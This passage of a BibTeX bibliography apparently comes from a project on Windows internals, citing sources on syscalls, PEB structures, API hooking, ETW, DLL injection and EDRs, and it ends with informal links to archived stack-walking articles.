{lucasg}, year = {2017}, title = {Api set library lookup resolver}, note = "gist.github.com/lucasg/9aa464b95b4b7344cb0cddbdb4214b25 (Accessed: 17 May 2021)", } @ARTICLE{lucasg, author = {lucasg}, year = {2017}, title = {Api set resolution}, note = "lucasg.github.io/2017/10/15/Api\-set\-resolution/ (Accessed: 17 May 2021)", } @ARTICLE{x64, author = {x64dbg community}, year = {2022}, title = {x64dbg An open\-source x64 x32 debugger for windows.}, note = "x64dbg.com/ (Accessed: 17 May 2021)", } @ARTICLE{SYSENTER, author = {osdev community}, year = {2017}, title = {SYSENTER}, %note = "wiki.osdev.org/SYSENTER/ (Accessed: 17 May 2021)", } @ARTICLE{SYSCALL, author = {E\_net4 stackoverflow}, year = {2019}, title = {Windows system calls.}, %note = "stackoverflow.com/questions/21074334/windows\-system\-calls (Accessed: 17 May 2021)", } @BOOK{MF, author = "Ligh M. Case A. Levy J. and Walters A.", title = "The Art of Memory Forensics Detecting Malware and Threats in Windows.", edition = "1st", year = "2014", address = "Unknown", publisher = "John Wiley and Sons.", } @ARTICLE{MASM, author = {Microsoft}, year = {2021}, title = {MASM for x64}, %note = "docs.microsoft.com/en\-us/cpp/assembler/masm/masm\-for\-x64\-ml64\-exe (Accessed: 17 May 2021)", } @ARTICLE{DetoursPDF, author = {Microsoft}, year = {2021}, title = {huntusenixnt99, Detours, Binary Interception of win32 functions}, note = "www.microsoft.com/en-us/research/wp-content/uploads/2016/02/huntusenixnt99.pdf (Accessed: 17 May 2021)", } @ARTICLE{PHNTS, author = {ProcessHacker NT Headers Standalone}, year = {2022}, title = {ProcessHacker}, note = "github.com/processhacker/phnt (Accessed 2022)", } @ARTICLE{PHNTG, author = {ProcessHacker NT Headers Github}, year = {2022}, title = {ProcessHacker}, note = "github.com/processhacker/processhacker/tree/master/phnt (Accessed 2022)", } @ARTICLE{Un1k0d3r, author = {Mr\-Un1k0d3r}, year = {2022}, title = {EDRs, This repo contains information about EDRs that can be useful during red team exercise.}, note = "github.com/Mr\-Un1k0d3r/EDRs (Accessed 2022)", } @ARTICLE{PEBGC, author = {Geoff Chappell}, year = {2022}, title = {PEB}, note = "www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/peb/index.htm (Accessed 2022)", } @ARTICLE{COMPI, author = {Microsoft}, year = {2022}, title = {compiler intrinsics}, note = "docs.microsoft.com/en\-us/cpp/intrinsics/compiler\-intrinsics (Accessed 2022)", } @ARTICLE{ldrsd, author = {Microsoft}, year = {2021}, title = {PEB\_LDR\_DATA structure winternl.h }, note = "docs.microsoft.com/en\-us/windows/win32/api/winternl/ns\-winternl\-peb\_ldr\_data (Accessed 2022)", } @ARTICLE{ldrsd2, author = {Microsoft}, year = {2021}, title = {PEB\_LDR\_DATA structure winternl.h }, note = "www.nirsoft.net/kernel\_struct/vista/LDR\_DATA\_TABLE\_ENTRY.html (Accessed 2022)", } @ARTICLE{EH, author = {Microsoft}, year = {2021}, title = { x64 Exception Handling }, note = "docs.microsoft.com/en-us/cpp/build/exception\-handling\-x64 (Accessed 2022)", } @ARTICLE{EXPORT, author = {wireless90}, year = {2021}, title = { Exploring the export table windows pe internals }, note = "dev.to/wireless90/exploring\-the\-export\-table\-windows\-pe\-internals\-4l47 (Accessed 2022)", } @ARTICLE{ABI, author = {Microsoft}, year = {2021}, title = { x64 Calling Convention (ABI) }, note = "docs.microsoft.com/en\-us/cpp/build/x64\-calling\-convention (Accessed 2022)", } @ARTICLE{PEBLDR, author = {nirsoft}, year = {2021}, title = { PEB\_LDR }, note = "www.nirsoft.net/kernel\_struct/vista/PEB\_LDR\_DATA.html (Accessed 2022)", } @ARTICLE{GPA, author = {arbiter34}, year = {2021}, title = { GetProcAddress implementation arbiter34 }, note = "github.com/arbiter34/GetProcAddress (Accessed 2022)", } @ARTICLE{modexp, author = {modexp}, year = {2018}, title = {Process injection sharing payload}, note = "modexp.wordpress.com/2018/07/15/process\-injection\-sharing\-payload/ (Accessed 2022)", } @ARTICLE{CFF, author = {NTCore, Erik Pistelli}, year = {2018}, title = {Explorer Suite}, note = "ntcore.com/?page\_id\=388 (Accessed 2022)", } @ARTICLE{GBASH, author = {git-for-windows}, year = {2022}, title = {Git bash, Git for windows}, note = "github.com/git-for-windows/git (Accessed 2022)", } @ARTICLE{CC, author = {GCHQ, Government Communications Headquarters}, year = {2019}, title = {CyberChef}, note = "Available at : gchq.github.io/CyberChef/ and https://github.com/gchq/CyberChef. (Accessed 2022)", } @ARTICLE{osr, author = {OSR Open Systems Resources, Inc}, year = {2019}, title = {The NT Insider:Nt vs. Zw - Clearing Confusion On The Native API.}, note = "Available at: www.osronline.com/article.cfm\%5earticle=257.htm. (Accessed 2022)", } @BOOK{WI2, author = "Russinovich, M.E. Solomon, D.A. Ionescu A. and Allievi A.", title = "Windows internals. Part 2, System architecture, processes, threads, memory management, and more.", edition = "7th", year = "2019", address = "USA Redmond", publisher = "Microsoft Press", } @ARTICLE{ntifsntwritefile, author = {Microsoft}, year = {2022}, title = {NtWriteFile function (ntifs.h)}, note = "Available at: docs.microsoft.com/en-us/windows\-hardware/drivers/ddi/ntifs/nf\-ntifs\-ntwritefile. (Accessed 2022)", } @ARTICLE{ntifsntcreatefile, author = {Microsoft}, year = {2022}, title = {NtCreateFile function (ntifs.h)}, note = "Available at: docs.microsoft.com/en\-us/windows\-hardware/drivers/ddi/ntifs/nf\-ntifs\-ntcreatefile. (Accessed 2022)", } @ARTICLE{winternlntcreatefile, author = {Microsoft}, year = {2021}, title = {NtCreateFile function (winternl.h)}, note = "Available at: docs.microsoft.com/en\-us/windows/win32/api/winternl/nf\-winternl\-ntcreatefile. (Accessed 2022)", } @ARTICLE{kasper, author = {securelist}, year = {2021}, title = {IT threat evolution in Q2 2021. PC statistics}, note = "Available at: securelist.com/it-threat-evolution-in-q2-2021-pc-statistics/103607/. (Accessed 2022)", } @ARTICLE{ETW, author = {Microsoft}, year = {2021}, title = {Event Tracing for Windows (ETW)}, note = "Available at: docs.microsoft.com/en\-us/windows\-hardware/drivers/devtest/event\-tracing\-for\-windows\-\-etw\-. (Accessed 2022)", } @ARTICLE{ETWTL, author = {Microsoft}, year = {2021}, title = {Event Tracing for Windows (ETW), TraceLogging implementation}, note = "Available at: docs.microsoft.com/en\-us/windows/win32/tracelogging/tracelogging\-native\-quick\-start. (Accessed 2022)", } @ARTICLE{dbabgit, author = {Babkin D.}, year = {2021}, title = {Tutorial that demonstrates how to code a Windows driver to inject a custom DLL into all running processes.}, note = "Available at: github.com/dennisbabkin/InjectAll. (Accessed 2022)", } @ARTICLE{dbabblog, author = {Babkin D., Rbmm}, year = {2021}, title = {Making the Visual Studio solution for DLL injection into all running processes.}, note = "Available at: bit.ly/3Jn6KBO. (Accessed 2022)", } @ARTICLE{dbabyoutb, author = {Babkin D., Rbmm}, year = {2021}, title = {DLL Injection Into All Processes}, note = "Available at: bit.ly/3xgwOfk. (Accessed 2022)", } @ARTICLE{xq17, author = {xq17}, year = {2021}, title = {Window API Hook}, note = "Available at: xz.aliyun.com/t/9166. (Accessed 2022)", } @ARTICLE{infosecinstitute, author = {infosecinstitute}, year = {2013}, title = {Calling NTDLL functions directly}, note = "Available at: resources.infosecinstitute.com/topic/calling\-ntdll\-functions\-directly/. (Accessed 2022)", } @ARTICLE{MVP, author = {Microsoft}, year = {2018}, title = {Microsoft MVP Award}, note = "Available at: en.wikipedia.org/wiki/Microsoft\_Most\_Valuable\_Professional. (Accessed 2022)", } @ARTICLE{PEBMSDN, author = {Microsoft}, year = {2021}, title = {Windows Internal user-mode structure PEB}, note = "Available at: docs.microsoft.com/en\-us/windows/win32/api/winternl/ns\-winternl\-peb. (Accessed 2022)", } @ARTICLE{runtime, author = {Microsoft}, year = {2021}, title = {RUNTIME\_FUNCTION structure (winnt.h)}, note = "Available at: docs.microsoft.com/en\-us/windows/win32/api/winnt/ns\-winnt\-runtime\_function. (Accessed 2022)", } @ARTICLE{rtllookupfunctionentry, author = {Microsoft}, year = {2021}, title = {RtlLookupFunctionEntry function (winnt.h)}, note = "Available at: docs.microsoft.com/en\-us/windows/win32/api/winnt/nf\-winnt\-rtllookupfunctionentry. (Accessed 2022)", } Stackwalking goldmine https://web.archive.org/web/20140820124405/http://www.nynaeve.net/?p=99 https://web.archive.org/web/20150322000410/http://www.nynaeve.net/?p=101 https://web.archive.org/web/20131215095658/http://www.nynaeve.net/?p=105 https://web.archive.org/web/20131215095714/http://www.nynaeve.net/?p=106 https://web.archive.org/web/20150321230449/http://www.nynaeve.net/?p=107 https://web.archive.org/web/20150322043231/http://www.nynaeve.net/?p=110 https://web.archive.org/web/20140726153452/http://www.nynaeve.net/?p=113 Exception handling x64 , kinda shit, had to push lul https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64